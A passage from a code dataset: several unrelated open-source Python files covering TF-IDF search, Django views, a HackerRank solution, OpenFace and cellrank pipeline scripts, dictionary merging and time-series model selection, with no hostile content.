clear_text(query)\n    query = \" \".join(\n        [\n            word for word in query.split(\" \")\n            if word in feature_names\n        ]\n    )\n\n    # compute tf_idf\n    tfidf_matrix = tfidfVectorizer.fit_transform([query])\n    feature_index = tfidf_matrix[0, :].nonzero()[1]\n\n    # get vocal in query\n    feature_names_query = tfidfVectorizer.get_feature_names()\n\n    # check word in vocal\n    query_tfidf_scores = dict()\n\n    for x in feature_index:\n        if feature_names_query[x] in feature_names:\n            if feature_names_query[x] not in query_tfidf_scores.keys():\n                query_tfidf_scores[feature_names_query[x]] = [\n                    tfidf_matrix[0, x]]\n            else:\n                query_tfidf_scores[feature_names_query[x]].append(\n                    tfidf_matrix[0, x])\n\n    # find q length\n    q_length = 0\n\n    relevant_between_words = dict()\n    # compute relevant query and data_train\n    relevant_between_words = {\n        word: [\n            [\n                item[0],\n                item[1] * query_tfidf_scores[word][0]\n            ] for item in tfidf_scores[word]\n        ] for word in query_tfidf_scores.keys()\n    }\n\n    for key, value in query_tfidf_scores.items():\n        q_length += math.pow(value[0], 2)\n    q_length = math.sqrt(q_length)\n\n    q_score = dict()\n    for _, value in relevant_between_words.items():\n        for i in value:\n            if i[0] not in q_score.keys():\n                q_score[i[0]] = i[1]\n            else:\n                q_score[i[0]] += i[1]\n    for key in q_score.keys():\n        q_score[key] = q_score[key] / (q_length + 0.01)\n\n    # rank\n    q = sorted(q_score.items(), key=lambda item: item[1], reverse=True)\n\n    x_retrieved = []\n    for i in q:\n        x_retrieved.append(arr_file[i[0]])\n    return x_retrieved\n\n\ndef get_Average_Precision(x_retrieved, relevant_docs):\n    # find R_Precision value\n    validation_result = {'R': [], 'P': []}\n    c = 0\n    for i in range(len(relevant_docs)):\n        if x_retrieved[i] in relevant_docs:\n            c += 1\n        validation_result['R'].append((c / len(relevant_docs)))\n        validation_result['P'].append((c / (i + 1)))\n    return sum(validation_result['P']) / len(validation_result['P'])\n\n\ndef train():\n    try:\n        pkl_file = open(os.path.join('.\\input', 'data',\n                                     'train_in_database.pickle'), 'rb')\n        arr_file = pickle.load(pkl_file)\n        tfidfVectorizer = pickle.load(pkl_file)\n        tfidf_scores = pickle.load(pkl_file)\n        pkl_file.close()\n    except:\n        data, arr_file = read_data_from_database()\n        tfidfVectorizer, tfidf_scores = build_tf_idf_sklearn(data)\n        with open(os.path.join('.\\input', 'data', 'train_in_database.pickle'), mode='wb') as f:\n            pickle.dump(arr_file, f)\n            pickle.dump(tfidfVectorizer, f)\n            pickle.dump(tfidf_scores, f)\n        f.close()\n    return arr_file, tfidfVectorizer, tfidf_scores\n\n\ndef search_in_database(query, arr_file, tfidfVectorizer, tfidf_scores):\n    feature_names = tfidfVectorizer.get_feature_names()\n    return get_relevant_ranking_for_query(\n        query, tfidfVectorizer, tfidf_scores, feature_names, arr_file\n    )\n\n\ndef main():\n    try:\n        pkl_file = open(os.path.join('.\\input', 'data', 'train.pickle'), 'rb')\n        arr_file = pickle.load(pkl_file)\n        tfidfVectorizer = pickle.load(pkl_file)\n        tfidf_scores = pickle.load(pkl_file)\n        pkl_file.close()\n    except:\n        data, arr_file = read_data()\n        tfidfVectorizer, tfidf_scores = build_tf_idf_sklearn(data)\n        with open(os.path.join('.\\input', 'data', 'train.pickle'), mode='wb') as f:\n            pickle.dump(arr_file, f)\n            pickle.dump(tfidfVectorizer, f)\n            pickle.dump(tfidf_scores, f)\n        f.close()\n\n    feature_names = tfidfVectorizer.get_feature_names()\n    queries = open_queries()\n    list_of_x_retrieved = dict()\n    for key, query in queries.items():\n        list_of_x_retrieved[key] = get_relevant_ranking_for_query(\n            query, tfidfVectorizer, tfidf_scores, feature_names, arr_file\n        )\n\n     # Bắt đầu đánh giá mô hình.\n    data_ground_truth = get_data_ground_truth()\n    Average_precision_of_all_x_retrieved = \\\n        {\n            key: get_Average_Precision(value, data_ground_truth[key])\n            for key, value in list_of_x_retrieved.items()\n        }\n    MAP = 0\n    for key, value in Average_precision_of_all_x_retrieved.items():\n        MAP += value\n    MAP = MAP / len(Average_precision_of_all_x_retrieved)\n    print(\"MAP:\", MAP)\n\n\nif __name__ == '__main__':\n    t0 = time.clock()\n    main()\n    t1 = time.clock() - t0\n    print(\"Time elapsed: \", t1)\n","repo_name":"phuocpro1969/Web_search_with_tf_idf_project","sub_path":"project/frontend/IR/tfidf.py","file_name":"tfidf.py","file_ext":"py","file_size_in_byte":8800,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"74978141479","text":"from django.shortcuts import render,redirect\nfrom .form import CategoryCreateForm,DoctorCreateForm\nfrom .models import Category,Doctor\n\ndef home(request):\n\tcats = Category.objects.all()\n\tdict = {\n\t\t\"title\":\"Find A Doctor\",\n\t\t\"cats\":cats\t\n\t}\n\treturn render(request,\"doctor/home.html\",dict)\n\ndef catcreate(request):\n\tif request.method == \"POST\":\n\t\tform = CategoryCreateForm(request.POST)\n\t\tform.is_valid()\n\t\tform.save()\n\t\treturn redirect('dhome-page')\n\telse:\n\t\tform = CategoryCreateForm\n\n\tcats = Category.objects.all()\n\tdict = {\n\t\t\"title\":\"Create Category\",\n\t\t\"form\":form,\n\t\t\"cats\":cats\n\t}\n\treturn render(request,\"doctor/catcreate.html\",dict)\n\ndef createDoctor(request):\n\tif request.method == \"POST\":\n\t\tform = DoctorCreateForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tform.save()\n\t\t\treturn redirect('doctor-show-page')\n\telse:\n\t\tform = DoctorCreateForm()\n\n\tdict ={\n\t\t\"title\":\"Doctor Create Page\",\n\t\t\"form\":form\n\t}\n\n\treturn render(request,\"doctor/doctor_create.html\",dict)\n\ndef showDoctors(request):\n\tdocts = Doctor.objects.all()\n\tdict = {\n\t\t\"title\":\"Show All Doctors\",\n\t\t\"docts\":docts\t\n\t}\n\treturn render(request,\"doctor/show_all_doctors.html\",dict)\n\ndef filterDoctors(request,pk):\n\tdocts = Doctor.objects.filter(category=pk)\n\tprint(docts)\n\n\tdict = {\n\t\t\"title\":\"Find A Doctor\",\n\t\t\"docts\":docts\n\t}\n\n\treturn render(request,\"doctor/show_all_doctors.html\",dict)\n\n# def filterDoctors(request):\n# \tdocts = Doctor.objects.all()\n# \tdict = {\n# \t\t\"title\":\"Show All Doctors\",\n# \t\t\"docts\":docts\t\n# \t}\n# \treturn render(request,\"doctor/show_all_doctors.html\",dict)\n\n\n\ndef editDoctor(request,id):\n\tdoctors = Doctor.objects.filter(id=id)\n\treturn render(request,\"doctor/show_all_doctors1.html\",{\"doctors\":doctors})\n\n\ndef updateDoctor(request,id):\n\tdoctor1 = Doctor.objects.get(pk=id)\n\tform = DoctorCreateForm(request.POST,instance=doctor1)\n\t\n\tif form.is_valid():\n\t\tform.save()\n\t\treturn redirect('doctor-show-page')\n\telse:\n\t\tform = DoctorCreateForm(instance=doctor1)\n\n\tcontent = {\n\t\t\"doctor1\":doctor1,\n\t\t\"form\":form\n\t}\n\treturn render(request,\"doctor/doctor_create.html\", content)\n\ndef deleteDoctor(request,id):\n\tdoctor2 = Doctor.objects.get(pk=id)\n\tif request.method ==\"POST\":\n\t\tdoctor2.delete()\n\t\treturn redirect('doctor-show-page')\n\n\treturn render(request,\"doctor/show_all_doctors.html\",{\"doctor2\":doctor2})\n\ndef findDoctor(request):\n\tdict = {\n\t\t\"title\":\"Find A Doctor\"\n\t}\n\n\treturn render(request,\"doctor/findDoctor.html\",dict)\n\n# def find1Doctor(request):\n\t\n# \tnames = Doctor.objects.all()\n# \tif 'name' in request.GET:\n# \t\tnames = Doctor.objects.filter(name__icontains=request.GET['name'])\n\n# \treturn render(request,\"doctor/show_find_doctors.html\",{\"names\":names})\n","repo_name":"yamin227580/mytestingprojecthrk","sub_path":"doctor/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"25533461446","text":"\"\"\"\nJames found a love letter that his friend Harry has\nwritten to his girlfriend. James is a prankster, so he\ndecides to meddle with the letter. He changes all the\nwords in the letter into palindromes.\nTo do this, he follows two rules:\n    1.He can only reduce the value of a letter by 1, i.e.\n    he can change d to c, but he cannot change c to d or d\n    to b.\n    2.The letter a may not be reduced any further.\nEach reduction in the value of any letter is counted as a\nsingle operation. Find the minimum number of operations\nrequired to convert a given string into a palindrome.\nExample\n    s=cde\n    The following two operations are performed: cde → cdd\n    → cdc. Return 2.\nFunction Description\n    Complete the theLoveLetterMystery function in the\n    editor below.\n    theLoveLetterMystery has the following parameter(s):\n        string s: the text of the letter\nReturns\n    int: the minimum number of operations\nInput Format\n    The first line contains an integer q, the number of\n    queries.\n    The next q lines will each contain a string s.\nConstraints\n    1<=q<=10\n    1<=| s |<=10^4\n    All strings are composed of lower case English letters,\n    ascii[a-z], with no spaces.\nSample Input\n    STDIN   Function\n    -----   --------\n    4       q = 4\n    abc     query 1 = 'abc'\n    abcba\n    abcd\n    cba\nSample Output\n    2\n    0\n    4\n    2\nExplanation\n    1.For the first query, abc → abb → aba.\n    2.For the second query, abcba is already a palindromic\n    string.\n    3.For the third query, abcd → abcc → abcb → abca\n    → abba.\n    4.For the fourth query, cba → bba → aba.\n\"\"\"\n\n#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n#\n# Complete the 'theLoveLetterMystery' function below.\n#\n# The function is expected to return an INTEGER.\n# The function accepts STRING s as parameter.\n#\n\ndef theLoveLetterMystery(s):\n    # Write your code here\n    count = 0\n    j= len(s)-1\n    for i in range(0, len(s)//2):\n        if(s[i] != s[j]):\n            while(s[i] != s[j]):\n                if(ord(s[i]) > ord(s[j])):\n                    s = s[:i] + chr(ord(s[i])-1) + s[i+1:]\n                    count += 1\n                else:\n                    s = s[:j] + chr(ord(s[j])-1) + s[j+1:]\n                    count += 1\n        j-=1\n    return count\nif __name__ == '__main__':\n    fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n    q = int(input().strip())\n\n    for q_itr in range(q):\n        s = input()\n\n        result = theLoveLetterMystery(s)\n\n        fptr.write(str(result) + '\\n')\n\n    fptr.close()\n","repo_name":"DanielTLouis/HackerRank","sub_path":"Algorithms/Prepare_Algorithms_Strings_TheLoveLetterNystery.py","file_name":"Prepare_Algorithms_Strings_TheLoveLetterNystery.py","file_ext":"py","file_size_in_byte":2555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"29677481763","text":"#*************************************************\r\n# Stage 6 - Feature Extraction\r\n#*************************************************\r\n\r\n\r\nimport os\r\nimport sys\r\nimport subprocess\r\nimport cv2\r\nimport csv\r\n\r\nimport stages\r\n\r\nstage = stages.stage6\r\n\r\nopenface_FaceLandmarkVidMulti_path = stage.dependencies['openface_FaceLandmarkVidMulti_path']\r\n\r\ndef PV(arr):\r\n    for x in arr:\r\n        print(x);\r\n\r\n\r\ndef removeTrailingBackslash(path):\r\n    if (path[-1] == '/'):\r\n        path = path[:-1];\r\n\r\n    return path;\r\n\r\n\r\ndef get_csv_data(csvFile):\r\n    with open(csvFile, 'r') as fin:\r\n        reader = csv.reader(fin)\r\n        data = list(reader)\r\n\r\n    return data\r\n\r\n\r\ndef do_feature_extraction(input_folder, output_folder):\r\n    \"\"\"\r\n    Execute feature extraction program using OpenFace\r\n    \"\"\"\r\n    program_location = stage.dependencies['feature_extraction_script_path']\r\n    c1 = 'python \\'' + program_location + '\\' \\'' + openface_FaceLandmarkVidMulti_path + '\\' \\'' + input_folder + '\\' \\'' + output_folder + '\\'';\r\n\r\n    # execute command\r\n\r\n    print(c1)\r\n    subprocess.call(c1, shell=True)\r\n\r\n\r\n\r\ninput_folder = removeTrailingBackslash(stage.inputLocation)\r\noutput_folder = removeTrailingBackslash(stage.outputLocation)\r\n\r\nprint('Begin Stage ', stage.number, ' : ', stage.name)\r\n\r\n\r\nassert os.path.exists(input_folder), \"Stage input folder : \" + input_folder + \" not found.\"\r\nassert os.path.exists(output_folder), \"Stage output folder : \" + output_folder + \" not found.\"\r\n\r\n\r\n# process files\r\ndo_feature_extraction(input_folder, output_folder);\r\n\r\nprint('End Stage ', stage.number, ' : ', stage.name)\r\n","repo_name":"DevendraPratapYadav/gsoc18_RedHenLab","sub_path":"video_processing_pipeline/feature_extraction.py","file_name":"feature_extraction.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"18"}
{"seq_id":"30116019183","text":"\"\"\"Lineages module.\"\"\"\n\nfrom typing import Union, TypeVar, Optional, Sequence\n\nimport pandas as pd\n\nfrom cellrank import logging as logg\nfrom cellrank.ul._docs import d\nfrom cellrank.tl._utils import TestMethod\nfrom cellrank.tl.kernels import PrecomputedKernel\nfrom cellrank.tl._constants import AbsProbKey, TermStatesKey, TerminalStatesPlot\nfrom cellrank.tl.estimators import GPCCA\nfrom cellrank.tl.estimators._constants import P\nfrom cellrank.tl.kernels._precomputed_kernel import DummyKernel\n\nAnnData = TypeVar(\"AnnData\")\n\n\n@d.dedent\ndef lineages(\n    adata: AnnData,\n    backward: bool = False,\n    copy: bool = False,\n    return_estimator: bool = False,\n    **kwargs,\n) -> Optional[AnnData]:\n    \"\"\"\n    Compute probabilistic lineage assignment using RNA velocity.\n\n    For each cell `i` in :math:`{1, ..., N}` and %(initial_or_terminal)s state `j` in :math:`{1, ..., M}`,\n    the probability is computed that cell `i` is either going to %(terminal)s state `j` (``backward=False``)\n    or is coming from %(initial)s state `j` (``backward=True``).\n\n    This function computes the absorption probabilities of a Markov chain towards the %(initial_or_terminal) states\n    uncovered by :func:`cellrank.tl.initial_states` or :func:`cellrank.tl.terminal_states` using a highly efficient\n    implementation that scales to large cell numbers.\n\n    It's also possible to calculate mean and variance of the time until absorption for all or just a subset\n    of the %(initial_or_terminal)s states. This can be seen as a pseudotemporal measure, either towards any terminal\n    population of the state change trajectory, or towards specific ones.\n\n    Parameters\n    ----------\n    %(adata)s\n    %(backward)s\n    copy\n        Whether to update the existing ``adata`` object or to return a copy.\n    return_estimator\n        Whether to return the estimator. Only available when ``copy=False``.\n    kwargs\n        Keyword arguments for :meth:`cellrank.tl.estimators.BaseEstimator.compute_absorption_probabilities`.\n\n    Returns\n    -------\n    :class:`anndata.AnnData`, :class:`cellrank.tl.estimators.BaseEstimator` or :obj:`None`\n        Depending on ``copy`` and ``return_estimator``, either updates the existing ``adata`` object,\n        returns its copy or returns the estimator.\n    \"\"\"\n\n    if backward:\n        lin_key = AbsProbKey.BACKWARD\n        fs_key = TermStatesKey.BACKWARD\n        fs_key_pretty = TerminalStatesPlot.BACKWARD\n    else:\n        lin_key = AbsProbKey.FORWARD\n        fs_key = TermStatesKey.FORWARD\n        fs_key_pretty = TerminalStatesPlot.FORWARD\n\n    try:\n        pk = PrecomputedKernel(adata=adata, backward=backward)\n    except KeyError as e:\n        raise RuntimeError(\n            f\"Compute transition matrix first as `cellrank.tl.transition_matrix(..., backward={backward})`.\"\n        ) from e\n\n    start = logg.info(f\"Computing lineage probabilities towards {fs_key_pretty.s}\")\n    mc = GPCCA(\n        pk, read_from_adata=True, inplace=not copy\n    )  # GPCCA is more general than CFLARE, in terms of what is saves\n    if mc._get(P.TERM) is None:\n        raise RuntimeError(\n            f\"Compute the states first as `cellrank.tl.{fs_key.s}(..., backward={backward})`.\"\n        )\n\n    # compute the absorption probabilities\n    mc.compute_absorption_probabilities(**kwargs)\n\n    logg.info(f\"Adding lineages to `adata.obsm[{lin_key.s!r}]`\\n    Finish\", time=start)\n\n    return mc.adata if copy else mc if return_estimator else None\n\n\n@d.dedent\ndef lineage_drivers(\n    adata: AnnData,\n    backward: bool = False,\n    lineages: Optional[Union[Sequence, str]] = None,\n    method: str = TestMethod.FISCHER.s,\n    cluster_key: Optional[str] = None,\n    clusters: Optional[Union[Sequence, str]] = None,\n    layer: str = \"X\",\n    use_raw: bool = False,\n    confidence_level: float = 0.95,\n    n_perms: int = 1000,\n    seed: Optional[int] = None,\n    return_drivers: bool = True,\n    **kwargs,\n) -> Optional[pd.DataFrame]:\n    \"\"\"\n    %(lineage_drivers.full_desc)s\n\n    Parameters\n    ----------\n    %(adata)s\n    %(backward)s\n    %(lineage_drivers.parameters)s\n\n    Returns\n    -------\n    %(lineage_drivers.returns)s\n\n    References\n    ----------\n    %(lineage_drivers.references)s\n    \"\"\"  # noqa: D400\n\n    # create dummy kernel and estimator\n    pk = DummyKernel(adata, backward=backward)\n    g = GPCCA(pk, read_from_adata=True, write_to_adata=False)\n    if g._get(P.ABS_PROBS) is None:\n        raise RuntimeError(\n            f\"Compute absorption probabilities first as `cellrank.tl.lineages(..., backward={backward})`.\"\n        )\n\n    # call the underlying function to compute and store the lineage drivers\n    return g.compute_lineage_drivers(\n        method=method,\n        lineages=lineages,\n        cluster_key=cluster_key,\n        clusters=clusters,\n        layer=layer,\n        use_raw=use_raw,\n        confidence_level=confidence_level,\n        n_perms=n_perms,\n        seed=seed,\n        return_drivers=return_drivers,\n        **kwargs,\n    )\n","repo_name":"grenkoca/cellrank","sub_path":"cellrank/tl/_lineages.py","file_name":"_lineages.py","file_ext":"py","file_size_in_byte":4977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"}
{"seq_id":"43375072127","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nfrom __future__ import (unicode_literals, division, absolute_import,\n                        print_function)\n\n##########################################################\n# Author: Yichen Huang (Eugene)\n# GitHub: https://github.com/yichen0831/opencc-python\n# January, 2016 - Original\n# January 2017 - Update to run under Python 2 by Hopkins1\n##########################################################\n\nimport sys\nimport os\nimport io\n\nDICT_DIRECTORY = '.'\n\nMER_INPUTS = [\n    'TWPhrasesIT.txt',\n    'TWPhrasesName.txt',\n    'TWPhrasesOther.txt'\n]\n\nMER_OUTPUT = 'TWPhrases.txt'\n\n\ndef merge(mer_inputs=MER_INPUTS, mer_output=MER_OUTPUT):\n    \"\"\"\n    merge the phrase files into one file\n    :param mer_inputs: the phrase files\n    :param mer_output: the output file\n    :return: None\n    \"\"\"\n    dirname = os.path.dirname(__file__)\n    output_file = os.path.join(dirname, DICT_DIRECTORY, mer_output)\n    lines = []\n    for in_file in MER_INPUTS:\n        input_file = os.path.join(dirname, DICT_DIRECTORY, in_file)\n        with io.open(input_file, 'r', encoding='utf-8') as f:\n            for line in f:\n                lines.append(line)\n\n    with io.open(output_file, 'w', encoding='utf-8') as f:\n        for line in lines:\n            f.write(line)\n\n\nif __name__ == '__main__':\n    merge()\n","repo_name":"Hopkins1/TradSimpChinese","sub_path":"resources/opencc_python/dictionary/merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":90,"dataset":"github-code","pt":"18"}
{"seq_id":"37361095541","text":"import json\nfrom datetime import datetime\nfrom pathlib import Path\nfrom typing import List, Optional, Iterator\nfrom uuid import UUID\n\nfrom shell_commands.commands import CommandRepository, CommandData\nfrom shell_commands.history import HistoryRepository, HistoryEntry\nfrom shell_commands.packages import PackageRepository\nfrom shell_commands.utils import RunCommandOutput, serialize_datetime, deserialize_datetime\n\n\nclass JSONRepository(CommandRepository, PackageRepository, HistoryRepository):\n    SCHEMA_VERSION = 3\n\n    def __init__(self, dbfile: Path):\n        super(JSONRepository, self).__init__()\n        self.dbfile = dbfile\n        if not self.dbfile.exists():\n            self._write({\n                'schemaVersion': self.SCHEMA_VERSION,\n                'commands': {},\n                'packages': [],\n                'history': [],\n            })\n\n    def _load(self) -> dict:\n        with self.dbfile.open('r') as fp:\n            data = json.load(fp)\n        assert 'schemaVersion' in data\n        if data['schemaVersion'] != self.SCHEMA_VERSION:\n            if data['schemaVersion'] == 1:\n                # Upgrade from schema 1 to 2\n                data['packages'] = []\n                data['schemaVersion'] = 2\n            if data['schemaVersion'] == 2:\n                data['history'] = []\n                data['schemaVersion'] = 3\n            assert data['schemaVersion'] == self.SCHEMA_VERSION\n            self._write(data)\n        return data\n\n    def _write(self, data: dict):\n        with self.dbfile.open('w') as fp:\n            json.dump(data, fp, indent=2)\n\n    def save_command(self, name: str, user: str, cwd: str, command: List[str]):\n        data = self._load()\n        assert name not in data['commands'], 'Command with this name already exists'\n        data['commands'][name] = {\n            'user': user,\n            'cwd': cwd,\n            'command': command,\n        }\n        self._write(data)\n\n    def get_command(self, name: str) -> CommandData:\n        data = self._load()\n        assert name in data['commands'], 'Command with this name does not exist'\n        user = data['commands'][name]['user']\n        cwd = data['commands'][name]['cwd']\n        command = data['commands'][name]['command']\n        return CommandData(name=name, user=user, cwd=cwd, command=command)\n\n    def get_all_commands(self) -> List[CommandData]:\n        return [self.get_command(name) for name in self._load()['commands'].keys()]\n\n    def delete_command(self, name: str):\n        data = self._load()\n        assert name in data['commands'], 'Command with this name does not exist'\n        del data['commands'][name]\n        self._write(data)\n\n    def require_package(self, name: str):\n        data = self._load()\n        assert name not in data['packages'], 'Package is already required so cannot require again'\n        data['packages'].append(name)\n        self._write(data)\n\n    def get_required_packages(self) -> List[str]:\n        data = self._load()\n        return data['packages']\n\n    def unrequire_package(self, name: str):\n        data = self._load()\n        assert name in data['packages'], 'Package is not required so cannot unrequire'\n        data['packages'].remove(name)\n        self._write(data)\n\n    def write_to_history(self, entry: HistoryEntry):\n        data = self._load()\n        data['history'].append({\n            'id': entry.id.hex,\n            'timestamp': serialize_datetime(entry.timestamp),\n            'command_name': entry.command_name,\n            'command': entry.command,\n            'cwd': entry.cwd,\n            'user': entry.user,\n            'return_code': entry.return_code,\n        })\n        self._write(data)\n\n\n    def iterate_history(self) -> Iterator[HistoryEntry]:\n        for entry in self._load()['history']:\n            yield HistoryEntry(\n                id=UUID(hex=entry['id']),\n                timestamp=deserialize_datetime(entry['timestamp']),\n                command_name=entry['command_name'],\n                command=entry['command'],\n                cwd=entry['cwd'],\n                user=entry['user'],\n                return_code=entry['return_code'],\n            )","repo_name":"KRegiec/fastapi-krzychu","sub_path":"fvenv/Lib/site-packages/shell_commands/jsondb.py","file_name":"jsondb.py","file_ext":"py","file_size_in_byte":4144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"17143069165","text":"import random\nimport string \n\ncolumna1 = []\ncolumna2 = []\ncolumna3 = []\ncolumna4 = []\n\ningresa = int(input(\"Ingrese la cantidad de lineas: \"))\nfor i in range(ingresa):\n    columna1.append(random.randint(0,5000))\n    columna2.append(random.choice(string.ascii_letters))\n    columna3.append(random.randint(0,5000))\n    columna4.append(random.randint(0,5000))\n    \nf = open(\"paraPoblar.csv\",'w')\nfor i in range(len(columna1)):\n    titulo=\"Columna1 \\tColumna2 \\tColumna3 \\tColumna4 \"\n    f.write('{},{},{},{}\\n'.format(columna1[i], columna2[i], columna3[i], columna4[i]))\nf.close()","repo_name":"BernardoYavheLopez/Django-Algoritmos-de-Clasificacion-1","sub_path":"usuarios.py","file_name":"usuarios.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"8316912683","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug  9 16:36:21 2021\n\n@author: 20210595\n\"\"\"\n\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jul 25 00:58:52 2021\n\n@author: 20210595\n\"\"\"\n\n# from . import space_autogenerated\n# positionsClassifiers = space_autogenerated.positionsClassifiers\n# positionsPreprocessingTechniques = space_autogenerated.positionsPreprocessingTechniques\n# positions = space_autogenerated.positions\n# float_int_positions = space_autogenerated.float_int_positions\nfrom space_autogenerated import positionsPreprocessingTechniques, positionsModels, positions, float_int_positions\n\n#Pipeline\nfrom sklearn.pipeline import make_pipeline, Pipeline\n\n#pre-processing techniques\n\nfrom sklearn.impute import SimpleImputer\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.preprocessing import Normalizer\n\n# statsmodels\nfrom statsmodels.tsa.ar_model import AutoReg\nfrom statsmodels.tsa.arima.model import ARIMA\nfrom statsmodels.tsa.statespace.sarimax import SARIMAX\nfrom statsmodels.tsa.holtwinters import ExponentialSmoothing\nfrom statsmodels.tsa.holtwinters import Holt\nfrom statsmodels.tsa.holtwinters import SimpleExpSmoothing\nfrom statsmodels.tsa.statespace.exponential_smoothing import ExponentialSmoothing\nfrom statsmodels.tsa.exponential_smoothing.ets import ETSModel\nfrom statsmodels.tsa.statespace.dynamic_factor import DynamicFactor\nfrom statsmodels.tsa.statespace.dynamic_factor_mq import DynamicFactorMQ\nfrom statsmodels.tsa.vector_ar.var_model import VAR\nfrom statsmodels.tsa.statespace.varmax import VARMAX\nfrom statsmodels.tsa.vector_ar.svar_model import SVAR\nfrom statsmodels.tsa.vector_ar.vecm import VECM\nfrom statsmodels.tsa.statespace.structural import UnobservedComponents\n\n#example_int_to_string = int_to_string(3, rbf = 0, kernel2 = 1)\n\nclass ChoosePipeline(object):\n    def __init__(self, positionsModels = positionsModels, positions = positions, position_int_float = float_int_positions, positionsPreprocessingTechniques= positionsPreprocessingTechniques):\n        self.position_int_float = position_int_float\n        self.positions = positions\n        self.positionsPreprocessingTechniques = positionsPreprocessingTechniques\n        self.positionsModels = positionsModels\n        \n    def __call__(self, x, serie):\n        \n        #NewSerie = values.reshape((len(values), 1))\n        _positions = self.positions\n        build_vec = self._build_vector(x)\n        list_index_techniques_to_use = []\n        for i in self.positionsPreprocessingTechniques:\n            if x[i] > 15:\n                list_index_techniques_to_use.append(i)    \n        \n        lista_index_final_prepross = []\n        for i in range(len(positionsPreprocessingTechniques)):\n            for j in list_index_techniques_to_use:\n                if positionsPreprocessingTechniques[i]==j:\n                    lista_index_final_prepross.append(i)\n\n        preprocessPipeline = self._preprossessing_techniques(lista_index_final_prepross, build_vec)\n        #return preprocessPipeline\n        \n        valueIndicesModels = [x[i] for i in self.positionsModels]\n        max_value = max(valueIndicesModels)\n        max_index = valueIndicesModels.index(max_value)\n        indexModel = self.positionsModels[max_index]\n\n        #print(positionModelNew)\n        # valueIndicesModels = [x[i] for i in self.positionsModels]\n        # max_value = max(valueIndicesModels)\n        # max_index = valueIndicesModels.index(max_value)\n        # indexModel = self.positionsModels[max_index]\n        # #The last index is the classifier\n        # list_index_techniques_to_use.append(indexModel)\n        # lista_index_final = []\n        # for i in range(len(_positions)):\n        #     for j in list_index_techniques_to_use:\n        #         if positions[i][1]==j:\n        #             lista_index_final.append(i)\n        try: \n            PipelineTSFinal = self._techniques(indexModel, build_vec, preprocessPipeline, serie=serie)\n        except:\n            PipelineTSFinal = 'invalid'\n        # PipelineToUse = self._techniques(indexModel, build_vec, preprocessPipeline, serie=serie)\n        return preprocessPipeline, PipelineTSFinal\n        # return PipelineTSFinal\n        \n        \n    \n    def _build_vector(self, x):\n        _vector_int_float = x.copy() \n        _vector_pos_copy = self.position_int_float.copy()\n        for i in range(len(_vector_int_float)):\n            if _vector_pos_copy[i][1] == 'int':\n                _vector_int_float[i] = int(round(_vector_int_float[i]))\n        return _vector_int_float\n    \n    def _preprossessing_techniques(self, lista_index_final_prepross, build_vec):\n        x=build_vec\n        estimators = [('SimpleImputer', SimpleImputer(strategy = self._int_to_string(round(x[1]), mean=0, median=1, most_frequent=2), \n                                                      fill_value=x[2]))\n                      ]\n        new_estimators = [estimators[i] for i in lista_index_final_prepross]\n        preprossPipeline = Pipeline(new_estimators)\n        return preprossPipeline\n    \n    def _techniques(self, indexModel, build_vec, preprocessPipeline, serie):\n        x=build_vec\n        if indexModel == self.positions[len(self.positionsPreprocessingTechniques)][1]:\n            pipelineModelTS = Pipeline([('AutoReg', AutoReg(preprocessPipeline.fit(serie).transform(serie),\n                                          lags=round(x[4]),\n                                          trend=self._int_to_string(round(x[5]), n=0, c=1, t=2, ct=3)\n                                          ))])\n        elif indexModel == self.positions[len(self.positionsPreprocessingTechniques)+1][1]:\n            pipelineModelTS = Pipeline([('ARIMA', ARIMA(preprocessPipeline.fit(serie).transform(serie),\n                                      order=(round(x[7]),round(x[8]),round(x[9])),\n                                      trend=self._int_to_string(round(x[10]), n=0, c=1, t=2, ct=3),\n                                      enforce_stationarity=self._int_to_bool(round(x[11])),\n                                      enforce_invertibility=self._int_to_bool(round(x[12])),\n                                      concentrate_scale=self._int_to_bool(round(x[13]))\n                                      ))])\n        elif indexModel == self.positions[len(self.positionsPreprocessingTechniques)+2][1]:\n            pipelineModelTS = Pipeline([('SARIMAX', SARIMAX(preprocessPipeline.fit(serie).transform(serie),\n                                          order=(round(x[15]),round(x[16]),round(x[17])),\n                                          trend=self._int_to_string(round(x[18]), n=0, c=1, t=2, ct=3),\n                                          enforce_stationarity=self._int_to_bool(round(x[19])),\n                                          enforce_invertibility=self._int_to_bool(round(x[20]))\n                                          ))])\n        elif indexModel == self.positions[len(self.positionsPreprocessingTechniques)+3][1]:\n            pipelineModelTS = Pipeline([('ExponentialSmoothing', ExponentialSmoothing(preprocessPipeline.fit(serie).transform(serie),\n                                                                  trend=self._int_to_string(round(x[22]), add=0, mul=1, additive=2, multiplicative=3),\n                                                                  damped_trend=self._int_to_bool(round(x[23])), \n                                                                  seasonal=self._int_to_string(round(x[24]), add=0, mul=1, additive=2, multiplicative=3), \n                                                                  initialization_method=self._int_to_string(round(x[25]), estimated=0, heuristic=1, known=2), \n                                                                  initial_level=x[26], \n                                                                  initial_trend=x[27]\n                                                                  ))])\n        elif indexModel == self.positions[len(self.positionsPreprocessingTechniques)+4][1]:\n            pipelineModelTS = Pipeline([('Holt', Holt(preprocessPipeline.fit(serie).transform(serie),\n                                    exponential=self._int_to_bool(round(x[29])), \n                                    